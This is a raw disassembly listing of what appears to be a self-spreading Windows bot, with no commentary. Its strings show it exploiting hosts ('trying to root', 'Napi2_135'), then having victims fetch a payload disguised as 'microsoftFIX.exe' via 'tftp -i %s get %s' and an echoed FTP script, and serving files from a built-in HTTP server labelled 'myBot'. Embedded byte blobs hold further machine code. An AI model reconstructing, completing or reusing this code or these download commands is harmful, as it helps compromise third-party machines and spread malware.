push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_440500
push esi
call ebx ; send
push 0
lea eax, [esp+258h+var_230]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_44065C
push esi
call ebx ; send
jmp loc_40CADE
; ---------------------------------------------------------------------------
loc_40CCF2: ; CODE XREF: sub_40C89D+1C4j
; sub_40C89D+1CDj ...
push esi
loc_40CCF3: ; CODE XREF: sub_40C89D+269j
nop
call near ptr 71AB1A6Dh
push 7D0h
nop
call near ptr 2690599h
sub esp, 0BCh
lea esi, [esp+268h+arg_136F8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40CD34
add esp, 0BCh
neg eax
sbb eax, eax
neg eax
loc_40CD29: ; CODE XREF: sub_40C89D+5Cj
pop edi
pop esi
pop ebp
pop ebx
add esp, 13894h
retn
sub_40C89D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD34 proc near ; CODE XREF: sub_40C89D+47Bp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_445388
push 0BEEFh
mov [ebp+var_C], eax
call dword_445348
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4453C8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40CE6E
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4452F0
cmp eax, 0FFFFFFFFh
jz loc_40CE6E
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_445360
mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
push esi
push esi
push [ebp+arg_0]
call sub_40267D
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_4172D0
movzx eax, word ptr dword_4D3010
add esp, 18h
push esi
push esi
push eax
push [ebp+arg_0]
call sub_40267D
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_4172D0
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_445398
cmp eax, 0FFFFFFFFh
jz short loc_40CE6E
push 1F4h
nop
call near ptr 2690599h
push esi
push offset aS_19 ; "%s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_4172D0
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_40CE72
loc_40CE6E: ; CODE XREF: sub_40CD34+4Fj
; sub_40CD34+65j ...
xor eax, eax
jmp short loc_40CE91
; ---------------------------------------------------------------------------
loc_40CE72: ; CODE XREF: sub_40CD34+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_445360
push ebx
call dword_4453E0
push 1
pop eax
loc_40CE91: ; CODE XREF: sub_40CD34+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_40CD34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE96 proc near ; CODE XREF: sub_409ECC+1E6p
; DATA XREF: ___:off_43DE3Co
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 200h
push esi
xor esi, esi
cmp [ebp+arg_A0], 8Bh
push edi
jz short loc_40CEBF
cmp [ebp+arg_A0], 1BDh
jnz loc_40CF48
loc_40CEBF: ; CODE XREF: sub_40CE96+17j
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40C89D
mov esi, eax
add esp, 0BCh
test esi, esi
jz short loc_40CF48
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
shl eax, 6
add eax, offset aNapi2_135 ; "Napi2_135"
push eax
push offset a_a_a_a_S_e_x_p ; ".a.a.a. (%s.e.x.p) .»». trying to root"...
lea eax, [ebp+var_200]
push 200h
push eax
call sub_4172D0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_200]
push eax
call sub_410557
mov eax, [ebp+arg_A8]
add esp, 2Ch
shl eax, 6
inc dword_43DE40[eax]
lea eax, dword_43DE40[eax]
loc_40CF48: ; CODE XREF: sub_40CE96+23j
; sub_40CE96+48j
mov eax, esi
pop edi
pop esi
leave
retn
sub_40CE96 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40CF57: ; CODE XREF: ___:0040CF73j
; ___:0040CF8Fj
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4D6394
call dword_445360
test eax, eax
jle short loc_40CF57
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4D6390
nop
call near ptr 2720000h
jmp short loc_40CF57
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40CF9A: ; CODE XREF: ___:0040CFC0j
; ___:0040CFDAj
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4D6384
nop
call near ptr 2730000h
cmp dword ptr [ebp-4], 0
jle short loc_40CF9A
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4D6394
call dword_445398
jmp short loc_40CF9A
; ---------------------------------------------------------------------------
dword_40CFDC dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_403038+4174o
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 61E85057h, 830000A0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 445348h, 6A56066Ah, 45896602h, 0C815FFCAh
dd 89004453h, 458D0845h, 50106AC8h, 0FF0875FFh, 44537415h
dd 0FF056A00h, 15FF0875h, 445370h, 0D3481D8Bh, 358B004Dh
dd 4DD2BCh, 75FF5757h, 0DC15FF08h, 0A3004453h, 4D6394h
dd 57F4458Dh, 63906850h, 8C68004Dh, 0C7004D63h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4D6388h
dd 4D638468h, 6AD3FF00h, 84458D44h, 0C5E85057h, 0A100009Fh
dd 4D638Ch, 890CC483h, 88A1BC45h, 89004D63h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 23E890B4h, 5002323Eh, 638835FFh, 0E890004Dh
dd 2323E16h, 9E89050h, 8D023239h, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4407E068h
dd 0E8905700h, 2263287h, 50E8458Dh, 91685757h, 8D0040CFh
dd 5057F445h, 37D1E890h, 45890229h, 0E8458DECh, 68575750h
dd 40CF4Eh, 57F4458Dh, 37B9E850h, 6A900229h, 0F04589FFh
dd 90D875FFh, 2A3B79E8h, 75FF5702h, 50E890F0h, 57022C3Ah
dd 90EC75FFh, 2C3A46E8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 90D875FFh, 323777E8h, 8C35FF02h, 0FF004D63h, 9035FFD6h
dd 0FF004D63h, 8435FFD6h, 0FF004D63h, 8835FFD6h, 0FF004D63h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h
dword_40D1AC dd 81EC8B55h, 0A70ECh, 8458B00h, 6A575653h, 0A9B901h, 0F08B0000h
; DATA XREF: sub_4097CE+22Ao
dd 0F920BD8Dh, 0F35BFFFFh, 0A09889A5h, 8D000002h, 0FFF59085h
dd 50F633FFh, 10168h, 0E45D8900h, 89D45D89h, 0B589DC5Dh
dd 0FFFFFDD4h, 0FBC4B589h, 0E890FFFFh, 716A6FDEh, 26A5356h
dd 6A1CE890h, 358B716Ah, 4DD488h, 6AE44D8Dh, 0FFBF5104h
dd 6A0000FFh, 89505704h, 0D6FFF845h, 6AD4458Dh, 0FB6A5004h
dd 0F87D8B57h, 8DD6FF57h, 6850DC45h, 8004667Eh, 1BE89057h
dd 66716A43h, 4D3010A1h, 0B8658300h, 0C7665000h, 2B445h
dd 534815FFh, 89660044h, 458DB645h, 50106AB4h, 67E89057h
dd 85716A6Ch, 8B077DC0h, 567E9C3h, 0A6A0000h, 67E89057h
dd 89716A8Bh, 0FFFDD49Dh, 981D8BFFh, 89004DD4h, 0FFFDD8BDh
dd 0FC7D89FFh, 0B58D416Ah, 0FFFFFDD4h, 0C4BD8D59h, 0F3FFFFFBh
dd 8DF633A5h, 0FFFBC485h, 565656FFh, 0FC458B50h, 0E8905040h
dd 716A45D8h, 0FFFF883h, 51584h, 39FF3300h, 7D89FC75h
dd 33C57C08h, 8D646AF6h, 0FFFD6085h, 0E85056FFh, 9D94h
dd 858D646Ah, 0FFFFFF50h, 85E85056h, 8300009Dh, 858D18C4h
dd 0FFFFFBC4h, 77E85750h, 85000246h, 0C1840FC0h, 3B000004h
dd 7A75F87Dh, 0C7F0458Dh, 10F045h, 8D500000h, 0FFFDC485h
dd 75FF50FFh, 6AE890F8h, 83716AB3h, 840FFFF8h, 498h, 0B539C933h
dd 0FFFFFDD4h, 958D1676h, 0FFFFFDD8h, 0C740239h, 4C28341h
dd 0FDD48D3Bh, 0F072FFFFh, 0FDD48D3Bh, 1675FFFFh, 0FDD4BD83h
dd 7340FFFFh, 8D84890Dh, 0FFFFFDD8h, 0FDD485FFh, 453BFFFFh
dd 89037EFCh, 6A56FC45h, 7E86815h, 0FF500044h, 442E9D3h
dd 8D560000h, 0FFFD6085h, 50646AFFh, 0FDE89057h, 85716A82h
dd 8B527FC0h, 0FFFDD495h, 3BC933FFh, 8D3A76D6h, 0FFFDD885h
dd 743839FFh, 0C083410Ah, 72CA3B04h, 4A26EBF4h, 1B73CA3Bh
dd 0D88D848Dh, 8BFFFFFDh, 89410450h, 0D4958B10h, 83FFFFFDh
dd 3B4A04C0h, 0FFEC72CAh, 0FFFDD48Dh, 0E89057FFh, 716A4689h
dd 3DBE9h, 0C8858D00h, 50FFFFFCh, 0FF50858Dh, 8D50FFFFh
dd 0FFFD6085h, 80068FFh, 0E8500044h, 0B6E8h, 0FF50858Dh
dd 868FFFFh, 50004408h, 0A457E8h, 18C48300h, 0D75C085h
dd 68166A56h, 440810h, 382E9h, 50858D00h, 68FFFFFFh, 440828h
dd 0A432E850h, 85590000h, 0D7559C0h, 68146A56h, 440830h
dd 35EE9h, 50858D00h, 68FFFFFFh, 440848h, 0A40EE850h, 85590000h
dd 0D7559C0h, 680D6A56h, 440850h, 33AE9h, 50858D00h, 68FFFFFFh
dd 440860h, 0A3EAE850h, 85590000h, 0D7559C0h, 68106A56h
dd 440868h, 316E9h, 50858D00h, 68FFFFFFh, 44087Ch, 0A3C6E850h
dd 85590000h, 0D7559C0h, 681E6A56h, 440880h, 2F2E9h, 50858D00h
dd 68FFFFFFh, 4408A0h, 0A3A2E850h, 85590000h, 247559C0h
dd 0FCC8858Dh, 0A868FFFFh, 50004408h, 0A38BE8h, 0C0855900h
dd 560D7559h, 0AC68136Ah, 0E9004408h, 2B7h, 0FF50858Dh
dd 0C068FFFFh, 50004408h, 0A367E8h, 0C0855900h, 8D247559h
dd 0FFFCC885h, 8C868FFh, 0E8500044h, 0A350h, 59C08559h
dd 6A560D75h, 8CC6813h, 7CE90044h, 8D000002h, 0FFFF5085h
dd 8E068FFh, 0E8500044h, 0A32Ch, 59C08559h, 0A6A3775h
dd 4408E8BEh, 0BD8D5900h, 0FFFFFED8h, 8D50A5F3h, 0FFFED885h
dd 0A56650FFh, 7677E8h, 8D505900h, 0FFFED885h, 75FF50FFh
dd 33D3FF08h, 87D8BF6h, 231E9h, 50858D00h, 68FFFFFFh, 440914h
dd 0A2DEE850h, 85590000h, 2A7559C0h, 1CBE056Ah, 59004409h
dd 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh
dd 7628h, 858D5059h, 0FFFFFF38h, 858DAFEBh, 0FFFFFF50h
dd 44093468h, 9DE85000h, 590000A2h, 0F59C085h, 0B885h
dd 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h
dd 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h, 93C68FFh
dd 0E8500044h, 0B4E4h, 0FF04858Dh, 0E850FFFFh, 9EB8h, 858DF88Bh
dd 0FFFFFD2Ch, 9EAAE850h, 45890000h, 8D326AF4h, 0FFFF0485h
dd 0E85056FFh, 9A38h, 8DF475FFh, 0FFFF0485h, 646857FFh
dd 50004409h, 9B83E8h, 44C48300h, 0FF04858Dh, 106AFFFFh
dd 51E85056h, 890000ABh, 458DF445h, 458D50ECh, 458D50E8h
dd 458D50E0h, 458D50D8h, 96C68C4h, 0E8500044h, 9B50h, 5624C483h
dd 78681D6Ah, 0FF004409h, 0D3FF0875h, 0FFFEE4E9h, 50858DFFh
dd 68FFFFFFh, 440998h, 0A1CAE850h, 85590000h, 850F59C0h
dd 0E0h, 68286A56h, 4409A0h, 0FFD3FF57h, 458DF475h, 19E850C4h
dd 59000001h, 5901F883h, 0B4850Fh, 458D0000h, 858D50C4h
dd 0FFFFF720h, 4409CC68h, 0E9E85000h, 8300009Ah, 0B5390CC4h
dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 3D33E8FFh, 0C483FFFFh
dd 143E814h, 0F8830000h, 8F850F01h, 56000000h, 0EC68176Ah
dd 57004409h, 458DD3FFh, 858D50C4h, 0FFFFF720h, 440A0468h
dd 8DE85000h, 8300009Ah, 0B5390CC4h, 0FFFFFBBCh, 8D562375h
dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh
dd 0FFF920B5h, 3CD7E8FFh, 0C483FFFFh, 20858D14h, 50FFFFF7h
dd 2DDAE8h, 0E005FF00h, 59004D5Ah, 6A562CEBh, 0A1C6820h
dd 1FEB0044h, 0FF50858Dh, 4068FFFFh, 5000440Ah, 0A0CFE8h
dd 0C0855900h, 560B7559h, 48681B6Ah, 5700440Ah, 646AD3FFh
dd 0FD60858Dh, 5056FFFFh, 98AFE8h, 0CC48300h, 0FC7D3B47h
dd 0F087D89h, 0FFFAFA8Eh, 0FABAE9FFh, 16AFFFFh, 5B5E5F58h
dd 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
call near ptr 71AB41DAh
nop
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push dword ptr [ebp+8]
mov dword_4D639C, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4D639C
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40D858
push dword_4D639C
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40D858: ; CODE XREF: ___:0040D840j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 2680000h
lea eax, [ebp-104h]
push offset aRb ; "rb"
push eax
call sub_417050
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40D8F4
test byte ptr [esi+0Ch], 10h
jnz short loc_40D8D8
push edi
mov edi, 400h
loc_40D8A0: ; CODE XREF: ___:0040D8D5j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_416D40
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4D639C
call near ptr 71AB1AF4h
nop
push 1
call near ptr 2690599h
nop
test byte ptr [esi+0Ch], 10h
jz short loc_40D8A0
pop edi
loc_40D8D8: ; CODE XREF: ___:0040D898j
push esi
call sub_414C60
pop ecx
push dword_4D639C
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
push 1
pop eax
loc_40D8F4: ; CODE XREF: ___:0040D892j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8F7 proc near ; DATA XREF: sub_403038+36F4o
; sub_4097CE+34Eo
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_417E20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_417070
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_445348
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4453C8
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40DCE8
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_44621C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_445374
cmp eax, 0FFFFFFFFh
jz loc_40DCE8
push 7FFFFFFFh
push edi
call dword_445370
cmp eax, 0FFFFFFFFh
jz loc_40DCE8
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4453E4
cmp eax, 0FFFFFFFFh
jz loc_40DCE8
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40D9CE: ; CODE XREF: sub_40D8F7+3E7j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_445330
cmp eax, 0FFFFFFFFh
jz loc_40DCE3
xor esi, esi
mov [ebp+var_4], esi
loc_40DA04: ; CODE XREF: sub_40D8F7+3E1j
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_445234
test eax, eax
jz loc_40DCCE
cmp esi, [ebp+var_C]
jnz short loc_40DA86
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4453DC
cmp eax, 0FFFFFFFFh
jz loc_40DCCE
xor ecx, ecx
test ebx, ebx
jbe short loc_40DA58
lea edx, [ebp+var_134]
loc_40DA4C: ; CODE XREF: sub_40D8F7+15Fj
cmp [edx], eax
jz short loc_40DA58
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40DA4C
loc_40DA58: ; CODE XREF: sub_40D8F7+14Dj
; sub_40D8F7+157j
cmp ecx, ebx
jnz short loc_40DA75
cmp ebx, 40h
jnb short loc_40DA75
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40DA75: ; CODE XREF: sub_40D8F7+163j
; sub_40D8F7+168j
cmp eax, [ebp+var_8]
jbe loc_40DCCE
mov [ebp+var_8], eax
jmp loc_40DCCE
; ---------------------------------------------------------------------------
loc_40DA86: ; CODE XREF: sub_40D8F7+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_417070
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417070
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_445360
test eax, eax
jg short loc_40DB19
push esi
call dword_4453E0
xor ecx, ecx
test ebx, ebx
jbe loc_40DCCE
lea eax, [ebp+var_134]
loc_40DAD8: ; CODE XREF: sub_40D8F7+1EBj
cmp [eax], esi
jz short loc_40DAE9
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40DAD8
jmp loc_40DCCE
; ---------------------------------------------------------------------------
loc_40DAE9: ; CODE XREF: sub_40D8F7+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40DB0D
lea eax, [ebp+ecx*4+var_134]
loc_40DAF7: ; CODE XREF: sub_40D8F7+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40DAF7
loc_40DB0D: ; CODE XREF: sub_40D8F7+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40DCCE
; ---------------------------------------------------------------------------
loc_40DB19: ; CODE XREF: sub_40D8F7+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_417070
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_414BE0
add esp, 10h
test eax, eax
jbe loc_40DCCE
loc_40DB47: ; CODE XREF: sub_40D8F7+30Fj
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40DBF2
lea eax, [ebp+var_18F0]
push offset aGet ; "GET "
push eax
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40DBC6
lea eax, [ebp+var_18F0]
push eax
call sub_414BE0
cmp eax, 5
pop ecx
jbe short loc_40DBC6
push offset asc_440A70 ; " "
push offset asc_440A74 ; " "
lea eax, [ebp+var_18F0]
push offset aGet_0 ; "GET "
push eax
call sub_417B50
pop ecx
pop ecx
push eax
call sub_417B50
pop ecx
pop ecx
push eax
call sub_417620
push eax
lea eax, [ebp+var_23C]
push eax
call sub_4184C0
add esp, 10h
jmp short loc_40DBDD
; ---------------------------------------------------------------------------
loc_40DBC6: ; CODE XREF: sub_40D8F7+27Ej
; sub_40D8F7+290j
lea eax, [ebp+var_18F0]
push offset asc_440A80 ; "\r\n"
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40DC11
loc_40DBDD: ; CODE XREF: sub_40D8F7+2CDj
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417070
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40DBF2: ; CODE XREF: sub_40D8F7+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_414BE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40DB47
jmp loc_40DCCE
; ---------------------------------------------------------------------------
loc_40DC11: ; CODE XREF: sub_40D8F7+2E4j
xor ecx, ecx
test ebx, ebx
jbe short loc_40DC5B
lea eax, [ebp+var_134]
loc_40DC1D: ; CODE XREF: sub_40D8F7+333j
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40DC2E
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40DC1D
jmp short loc_40DC5E
; ---------------------------------------------------------------------------
loc_40DC2E: ; CODE XREF: sub_40D8F7+32Bj
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40DC52
lea eax, [ebp+ecx*4+var_134]
loc_40DC3C: ; CODE XREF: sub_40D8F7+359j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40DC3C
loc_40DC52: ; CODE XREF: sub_40D8F7+33Cj
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40DC5E
; ---------------------------------------------------------------------------
loc_40DC5B: ; CODE XREF: sub_40D8F7+31Ej
mov esi, [ebp+var_4]
loc_40DC5E: ; CODE XREF: sub_40D8F7+335j
; sub_40D8F7+362j
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40DCC7
lea eax, [ebp+var_360]
push eax
call sub_414BE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_414BE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40DCC7
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4453E4
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40DEDA
add esp, 14h
jmp short loc_40DCCE
; ---------------------------------------------------------------------------
loc_40DCC7: ; CODE XREF: sub_40D8F7+36Fj
; sub_40D8F7+395j
push esi
call dword_4453E0
loc_40DCCE: ; CODE XREF: sub_40D8F7+11Dj
; sub_40D8F7+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40DA04
jmp loc_40D9CE
; ---------------------------------------------------------------------------
loc_40DCE3: ; CODE XREF: sub_40D8F7+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40DCE8: ; CODE XREF: sub_40D8F7+6Aj
; sub_40D8F7+92j ...
call dword_4452DC
push eax
lea eax, [ebp+var_8F0]
push offset unk_440A84
push eax
call sub_4171D0
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40DD2E
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_401445
add esp, 14h
loc_40DD2E: ; CODE XREF: sub_40D8F7+412j
lea eax, [ebp+var_8F0]
push eax
call sub_410557
pop ecx
push edi
call dword_4453E0
push [ebp+var_254]
call sub_40916F
pop ecx
push ebx
nop
call near ptr 2700000h
pop edi
pop esi
pop ebx
sub_40D8F7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD58 proc near ; DATA XREF: sub_40DEDA+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_417E20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4171D0
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_4171D0
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_40DDBD
push offset aTextHtml ; "text/html"
jmp short loc_40DDC2
; ---------------------------------------------------------------------------
loc_40DDBD: ; CODE XREF: sub_40DD58+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_40DDC2: ; CODE XREF: sub_40DD58+63j
lea eax, [ebp+var_9C]
push eax
call sub_4171D0
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2750000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 27412EBh
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40DE3B
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4171D0
add esp, 24h
jmp short loc_40DE5C
; ---------------------------------------------------------------------------
loc_40DE3B: ; CODE XREF: sub_40DD58+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4171D0
add esp, 28h
loc_40DE5C: ; CODE XREF: sub_40DD58+E1j
